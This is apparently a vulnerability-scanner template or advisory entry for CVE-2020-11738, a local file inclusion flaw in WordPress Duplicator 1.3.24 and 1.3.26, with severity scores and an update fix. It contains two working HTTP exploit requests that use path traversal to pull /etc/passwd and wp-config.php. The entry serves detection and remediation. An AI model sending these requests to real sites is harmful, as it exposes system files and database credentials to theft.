| Title | WordPress Duplicator 1.3.24 & 1.3.26 - Local File Inclusion |
|---|---|
| Author | dwisiswant0 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation. |
| Remediation | Update the WordPress Duplicator plugin to the latest version (1.3.27 or higher) to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94233 |
| CVE ID | CVE-2020-11738 |
| CWE ID | CWE-22 |
| Tags | cve cve2020 kev tenable packetstorm wordpress wp-plugin lfi snapcreek vkev vuln |
WordPress Duplicator 1.3.24 & 1.3.26 are vulnerable to local file inclusion vulnerabilities that could allow attackers to download arbitrary files, such as the wp-config.php file. According to the vendor, the vulnerability was only in two versions v1.3.24 and v1.3.26, the vulnerability wasn’t present in versions 1.3.22 and before.
GET /wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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